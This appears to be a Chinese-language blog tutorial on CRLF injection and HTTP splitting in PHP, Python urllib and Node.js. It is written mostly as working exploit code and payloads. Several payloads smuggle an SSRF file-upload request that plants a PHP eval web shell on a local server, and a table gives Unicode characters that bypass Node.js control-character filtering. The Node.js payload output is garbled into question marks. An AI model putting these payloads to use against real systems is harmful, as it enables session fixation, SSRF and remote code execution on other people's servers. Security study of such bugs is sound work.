百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

CRLF injection

zhezhongyun 2025-01-02 20:23 39 浏览

HTTP报文结构:

HTTP报文由三部分组成:状态行(请求行 | 响应行)、首部主体。也有些书籍说是由首部和主体两部分组成,状态行包含在首部中,但绝大多数的说法是由三部分组成。


HTTP报文可以分为请求报文和响应报文;请求报文向服务器传达请求,响应报文将请求的结果返回给客户端。以下两图,分别是请求报文以及响应报文的结构图。

  • HTTP报文以状态行开始,跟在后面的是HTTP首部,首部由多个首部字段构成,每行一个首部字段;HTTP首部后是一个空行,然后是报文主体。
  • 可以看到,状态行和首部中的每行都是以回车符(\r,%0d,CR)和换行符(\n,%0a,LF)结束,这是因为HTTP规范中行应该使用CRLF结束。另外,首部和主体之间由一空行隔开,或者可以理解为HTTP首部的最后一个字段有两个CRLF。
  • 与状态行和首部不同的是,主体是可选的,也就是说报文中不一定要有主体;另外状态行和首部是ASCII文本,主体可包含文本或二进制数据。
  • 以上就是HTTP报文的大概结构,下面分别对这三部分进行简要描述。
    ### 状态行:

请求行:

HTTP报文以状态行开始,请求报文中的状态行叫请求行,响应报文中的状态行叫响应行。请求行由==请求方法URL协议版本==组成,这些字段都由空格分隔


请求行表明要对哪个资源执行哪个方法,具体有哪些请求方法。


OPTIONS

查询资源支持的方法。用于查询URL指定的资源支持哪些方法,资源支持哪些方法,会在响应包的Allow字段中显示。

响应行:

响应行由==协议版本状态码原因短语==(状态码描述)组成。这些字段同样都由空格分隔。


响应行表明了服务器对请求的处理结果,由状态码体现。值得注意的是,原因短语是数字状态码的可读版本,描述数字状态码的含义,便于人理解,只对人有意义,因此以下两种响应行都会被当作成功处理。

HTTP/1.0 200 NOT OK    
HTTP/1.0 200 OK

版本号:

另外请求行和响应行中都包含HTTP版本号,其格式为

HTTP/<major>.<minor>
//major是主版本号,minor是次版本号,使用版本号的目的是规范双方之间通信的格式

CRLF&HRS:

重点:需要有http请求,才能利用crlf,要不然没法将构造的数据包发出去

CRLF 指的是回车符(CR,ASCII 13,\r,%0d)和换行符(LF,ASCII 10,\n,%0a)的简称(\r\n

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。

所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些恶意的HTTP Header,如会话Cookie,甚至可以注入一些HTML代码。这就是CRLF注入漏洞的核心原理。

在实际应用中,如果Web应用没有对用户输入做严格验证,便会导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以CRLF注入漏洞又称为HTTP响应拆分漏洞(HTTP Response Splitting),简称HRS。

Location 字段的 302 跳转:

  • 举个例子,一般网站会在HTTP头中用 Location:baidu.com 这种方式来进行302跳转,如果我们能控制 Location: 后面的某个网址的URL,就可以进行HRS攻击。
<?php
if(isset($_GET["url"])){.                                                                                 header("Location:".$_GET['url']);
    exit;
}
  • 这段代码的意思是:当条件满足时,将请求包中的url参数值拼接到Location字符串中,并设置成响应头发送给客户端。
  • 首先我们输入正常的url:
/?url=https://whoamianony.top
  • 得到的一个正常的302跳转包的响应头是这样:
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top
  • 但如果我们抓包,将输入的URL改为 /url=https://whoamianony.top%0d%0aPHPSESSID=whoami,注入了一个换行。将修改后的请求包提交给服务器端,查看服务器端的响应。此时的返回包的响应头就会变成这样:
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami
  • 我们可以发现响应头首部中多了个Set-Cookie字段。这就证实了该系统存在CRLF注入漏洞,因为我们输入的恶意数据,作为响应首部字段返回给了客户端。这个时候我们就给访问者设置了一个SESSION,造成了一个“会话固定漏洞”。
  • 这是由于,此时服务器端接收到的url参数值是我们修改后的:
https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami
  • 在url参数值拼接到Location字符串中,设置成响应头后,响应包此时应该是如下这样的:
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT 
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top%0d%0aSet-Cookie: PHPSESSID=whoami
  • 但是,%0d和%0a分别是CR和LF的URL编码。前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为Location首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154 
Connection: close
Location: https://whoamianony.top
Set-Cookie: PHPSESSID=whoami
  • 而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段,这个时候就会将PHPSESSID=whoami设置成Cookie。
  • 测试的用例大家可能会觉得这漏洞没什么危害性,但试想一下:利用漏洞,注入一个CRLF控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体,该漏洞的危害不亚于XSS。
  • 但是目前通过 Location 字段的 302 跳转进行 CRLF 注入这个漏洞已经被修复了。我们继续往下看。

PHP -- CRLF攻击:

fsockopen() 函数:

fsockopen($hostname,$port,$errno,$errstr,$timeout) 用于打开一个网络连接或者一个Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定url数据的获取。该函数会使用socket跟服务器建立tcp连接,进行传输原始数据。
fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回false。

测试代码:

<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

首先我们尝试访问正常的url:

/?url=47.xxx.xxx.72:4000

在 Host 头部注入:

下面我们尝试插入 CRLF:

/?url=47.xxx.xxx.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami

这是由于,此时服务端接收到的url参数值是我们修改后的:

/?url=47.xxx.xxx.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami

在url参数值拼接到 Host 字段值中,设置成响应头后,响应包此时应该是如下这样的:

GET / HTTP/1.1
Host: 47.xxx.xxx.72:4000%0d%0aSet-Cookie: PHPSESSID=whoami
Connection: Close

前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 Host 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:

GET / HTTP/1.1
Host: 47.xxx.xxx.72:4000
Set-Cookie: PHPSESSID=whoami
Connection: Close

而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将PHPSESSID=whoami设置成 Cookie。

PHP SoapClient 类:

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中==location是要将请求发送到的SOAP服务器的URL==,而 uri 是SOAP服务的目标命名空间。

知道上述两个参数的含义后,我们首先来发起一个正常的HTTP请求:

<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:4000/aaa', 'uri'=>'http://47.xxx.xxx.72:4000'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

在User-Agent头部注入:

<?php
$target = 'http://47.xxx.xxx.72:4000/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nSet-Cookie: PHPSESSID=whoami", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

如下图所示,VPS 上监听到了请求,成功在HTTP头中插入了一个我们自定义的 cookie:


这是由于,此时服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

POST / HTTP/1.1
Host: 47.xxx.xxx.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aSet-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为 User-Agent 首部字段这行结束了,Set-Cookie就会被认为是下一行,如下所示:

POST / HTTP/1.1
Host: 47.xxx.xxx.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Set-Cookie: PHPSESSID=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

而我们构造的 Set-Cookie 字符在 HTTP 中是一个设置 Cookie 的首部字段,这个时候就会将 PHPSESSID=whoami 设置成 Cookie。

发送 POST 数据包:

在HTTP协议中,HTTP Header 部分与 HTTP Body 部分是用两个CRLF分隔的,所以我们要发送 POST 数据就要插入两个CRLF。

对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type 的设置,因为我们要提交的是POST数据,所以 Content-Type 的值我们要设置为 application/x-www-form-urlencoded,这里如何修改 Content-Type 的值呢?由于 Content-TypeUser-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type

测试代码如下:

<?php
$target = 'http://47.xxx.xxx.72:4000/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'WHOAMI^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

VPS 上监听到了 POST 数据:


这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

POST / HTTP/1.1
Host: 47.xxx.xxx.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aCookie: PHPSESSID=3stu05dr969ogmprk28drnju93%0d%0aContent-Length: 11%0d%0a%0d%0adata=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

前面我们讲到,HTTP规范中,HTTP 首部中每个首部字段以一个CRLF分隔,首部和主体由两个CRLF分隔。这样,当%0d%0a和%0d%0a%0d%0a分别被解析为 HTTP 首部字段的结尾和 HTTP 首部的结尾,最终的HTTP请求便成了如下这样:

POST / HTTP/1.1
Host: 47.xxx.xxx.72:4000
Connection: Keep-Alive
User-Agent: WHOAMI
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93
Content-Length: 11

data=whoami
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

Python--CRLF攻击:

Python是一套开源的、面向对象的程序设计语言。该语言具有可扩展、支持模块和包、支持多种平台等特点。urllib是其中的一个用于处理URL的模块。urllib2是其中的一个用于获取URL(统一资源定位符)的模块。

Python 2.x版本至2.7.16版本中的urllib2Python 3.x版本至3.7.2版本中的urllib存在注入漏洞。该漏洞源于用户输入构造命令、数据结构或记录的操作过程中,网络系统或产品缺乏对用户输入数据的正确验证,未过滤或未正确过滤掉其中的特殊元素,导致系统或产品产生解析或解释方式错误。简单来说,就是urlopen()处理URL的时候没有考虑换行符,导致我们可以在正常的HTTP头中插入任意内容。

该漏洞早在2016年就被爆出(CVE-2016-5699),在之后的一段时间里不断爆出了python其他版本也存在该漏洞(CVE-2019-9740、CVE-2019-9947)

影响范围:

  • Python 2.x版本至2.7.16版本中的urllib2
  • Python 3.x版本至3.7.2版本中的urllib

在 HTTP 状态行注入恶意首部字段:

测试代码:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error

# url = "http://47.xxx.xxx.72:4000
url = "http://47.xxx.xxx.72:4000?a=1 HTTP/1.1\r\nCRLF-injection: True\r\nSet-Cookie: PHPSESSID=whoami"
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)

执行代码后,VPS 上会监听到如下HTTP头:


如上图所示,成功引发了CRLF漏洞。

这是由于服务端接收到我们修改后的请求后,响应包此时应该是如下这样的:

GET /?a=1 HTTP/1.1%0d%0aCRLF-injection: True%0d%0aSet-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.xxx.xxx.72:4000
User-Agent: Python-urllib/3.7
Connection: close

此时,HTTP 状态行中出现了%0d%0a,便会被解析为HTTP首部字段的结束并成功插入我们定制的HTTP首部字段。最终HTTP请求变成了下面这样:

GET /?a=1 HTTP/1.1
CRLF-injection: True
Set-Cookie: PHPSESSID=whoami HTTP/1.1
Accept-Encoding: identity
Host: 47.xxx.xxx.72:4000
User-Agent: Python-urllib/3.7
Connection: close

在 HTTP 状态行注入完整 HTTP 请求:

首先,由于 Python Urllib 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1 和 Host 字段影响我们新构造的请求,我们还需要再构造一次 GET / 闭合原来的 HTTP 请求。

假设目标主机存在SSRF,需要我们在目标主机本地上传文件。下面尝试构造如下这个文件上传的完整 POST 请求:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

编写脚本构造payload:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 435
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST[whoami]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'''.replace("\n","\\r\\n")

print(payload)

# 输出: HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:

然后构造请求:

#!python
#!/usr/bin/env python3
import urllib
import urllib.request
import urllib.error

# url = "http://47.xxx.xxx.72:4000
url = 'http://47.xxx.xxx.72:4000?a=1 HTTP/1.1\r\n\r\nPOST /upload.php HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 435\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nCookie: PHPSESSID=nk67astv61hqanskkddslkgst4\r\nConnection: close\r\n\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="uploaded"; filename="shell.php"\r\nContent-Type: application/octet-stream\r\n\r\n<?php eval($_POST[whoami]);?>\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6\r\nContent-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n------WebKitFormBoundaryjDb9HMGTixAA7Am6--\r\n\r\nGET / HTTP/1.1\r\ntest:'
# ?a=1 后面的那个HTTP/1.1是为了闭合正常的HTTP状态行
try:
    info = urllib.request.urlopen(url).info()
    print(info)

except urllib.error.URLError as e:
    print(e)


我们来分析一下http拆分攻击的过程:

如果不进行攻击,我们正常的请求数据应该是这样的:

GET / HTTP/1.1
Host: 47.xxx.xxx.72:4000

当我们插入CRLF对http进行攻击了以后,数据变成了这个样子:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

 HTTP/1.1
Host: 47.xxx.xxx.72:4000

我们可以看到从GET后面的HTTP开始,到最后host之前的http,都为我们注入的内容,前面注入HTTP是为了闭合get内容,让我们下面的post请求能够完整,但是后面原本就有一个http标签,所以我们需要再构造一个get来进行闭合,这样就形成了三个请求包,分别结构完整:

GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
......
<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test: HTTP/1.1
Host: 47.xxx.xxx.72:4000

Node.js--CRLF攻击:

HTTP 请求路径中的 Unicode 字符损坏:

虽然用户发出的 HTTP 请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的Unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,例如


这个表情。所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30

Unicode 字符损坏造成的 HTTP 拆分攻击:

刚才演示的那个 HTTP 请求路径中的 Unicode 字符损坏看似没有什么用处,但它可以在 nodejs 的 HTTP 拆分攻击中大显身手。

由于 nodejs 的 HTTP 库包含了阻止CRLF的措施,即如果你尝试发出一个URL路径中含有回车、换行或空格等控制字符的HTTP请求是,它们会被URL编码,所以正常的CRLF注入在nodejs中并不能利用:

> var http = require("http");
> http.get('http://47.xxx.xxx.72:4000/\r\n/WHOAMI').output
[ 'GET /%0D%0A/WHOAMI HTTP/1.1\r\nHost: 47.xxx.xxx.72:4000\r\nConnection: close\r\n\r\n' ]


但不幸的是,上述的处理Unicode字符错误意味着可以规避这些保护措施。考虑如下的URL,其中包含一些高编号的Unicode字符:

> 'http://47.xxx.xxx.72:4000/\u{010D}\u{010A}/WHOAMI'
http://47.xxx.xxx.72:4000/??/WHOAMI

当 Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:

> http.get('http://47.xxx.xxx.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /??/WHOAMI HTTP/1.1\r\nHost: 47.xxx.xxx.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为latin1 写入路径时,这些字符将分别被截断为 "\r"(%0d)"\n"(%0a)

> Buffer.from('http://47.xxx.xxx.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.xxx.xxx.72:4000/\r\n/WHOAMI'

可见,通过在请求路径中包含精心选择的Unicode字符,攻击者可以欺骗Node.js并成功实现CRLF注入。

不仅是CRLF,所有的控制字符都可以通过这个构造出来。下面是我列举出来的表格,第一列是需要构造的字符,第二列是可构造出相应字符的高编号的Unicode码,第三列是高编号的Unicode码对应的字符,第四列是高编号的Unicode码对应的字符的URL编码:

字符

可由以下Unicode编码构造出

Unicode编码对应的字符

Unicode编码对应的字符对应的URL编码

回车符 \r

\u010d

?

%C4%8D

换行符 \n

\u010a

?

%C4%8A

空格

\u0120

?

%C4%A0

反斜杠 \

\u0122

?

%C4%A2

单引号 '

\u0127

?

%C4%A7

反引号 `

\u0160

?

%C5%A0

叹号 !

\u0121

?

%C4%A1

这个bug已经在Node.js10中被修复,如果请求路径包含非Ascii字符,则会抛出错误。但是对于 Node.js v8 或更低版本,如果有下列情况,任何发出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:

  • 接受来自用户输入的Unicode数据
  • 并将其包含在HTTP请求的路径中
  • 且请求具有一个0长度的主体(比如一个 GET 或者 DELETE

在 HTTP 状态行注入恶意首部字段:

由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入恶意的 HTTP 首部字段的话还需要闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行:

> http.get('http://47.xxx.xxx.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami').output
//[ 'GET /?HTTP/1.1??Set-Cookie:?PHPSESSID=whoami HTTP/1.1\r\nHost: 47.xxx.xxx.72:4000\r\nConnection: close\r\n\r\n' ]


如上图所示,成功构造出了一个 Set-Cookie 首部字段,虽然后面还有一个 HTTP/1.1 ,但我们根据该原理依然可以将其闭合:

> http.get('http://47.xxx.xxx.72:4000/\u0120HTTP/1.1\u010D\u010ASet-Cookie:\u0120PHPSESSID=whoami\u010D\u010Atest:').output
//[ 'GET /?HTTP/1.1??Set-Cookie:?PHPSESSID=whoami??test: HTTP/1.1\r\nHost: 47.xxx.xxx.72:4000\r\nConnection: close\r\n\r\n' ]

在 HTTP 状态行注入完整 HTTP 请求:

首先,由于 NodeJS 的这个 CRLF 注入点在 HTTP 状态行,所以如果我们要注入完整的 HTTP 请求的话需要先闭合状态行中 HTTP/1.1 ,即保证注入后有正常的 HTTP 状态行。其次为了不让原来的 HTTP/1.1 影响我们新构造的请求,我们还需要再构造一次 GET / 闭合原来的 HTTP 请求。

假设目标主机存在SSRF,需要我们在目标主机本地上传文件。我们需要尝试构造如下这个文件上传的完整 POST 请求:

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

为了方便,我们将这个POST请求里面的所有的字符包括控制符全部用上述的高编号Unicode码表示:

payload = ''' HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 437
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjDb9HMGTixAA7Am6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=nk67astv61hqanskkddslkgst4
Connection: close

------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="uploaded"; filename="shell.php"
Content-Type: application/octet-stream

<?php eval($_POST["whoami"]);?>
------WebKitFormBoundaryjDb9HMGTixAA7Am6
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryjDb9HMGTixAA7Am6--

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0x0100+ord(i))
    return ret

payload = payload_encode(payload)
print(payload)

# 输出: ?ň????????????????????????????ň?????????ň????????????????????????ō??????????????????????????????????????????????????????????????????????????????ūń??ňō????????????????????????ō??????????????????????????????????????????????????????????????ň?ōō????ū?????ū?????????????????????????????????????????????????????????????????????????ī???????????????????????????????????????????????????????????ī?ī??????????????????????????????????????????????????????????????????????????????????????ō????????????????????????????ū?????ň??????ń??ū?????????????ūū????ū???????????????????????????????????????????????????ūń??ňō????????????????????ń?????????????????????????????ō?????ō???????????????????????????????????????????ūń??ňō????????????????????ń?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????ūń??ňō????????????????????ń????????????????????????????????????????????????????????????????????????ūń??ňō??????????????????????ň??????????????

构造请求:

> http.get('http://47.xxx.xxx.72:4000/?ň????????????????????????????ň?????????ň????????????????????????ō??????????????????????????????????????????????????????????????????????????????ūń??ňō????????????????????????ō??????????????????????????????????????????????????????????????ň?ōō????ū?????ū?????????????????????????????????????????????????????????????????????????ī???????????????????????????????????????????????????????????ī?ī??????????????????????????????????????????????????????????????????????????????????????ō????????????????????????????ū?????ň??????ń??ū?????????????ūū????ū???????????????????????????????????????????????????ūń??ňō????????????????????ń?????????????????????????????ō?????ō???????????????????????????????????????????ūń??ňō????????????????????ń?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????ūń??ňō????????????????????ń????????????????????????????????????????????????????????????????????????ūń??ňō??????????????????????ň??????????????')


如上图所示,成功构造出了一个文件上传的POST请求,像这样的POST请求可以被我们用于 SSRF。

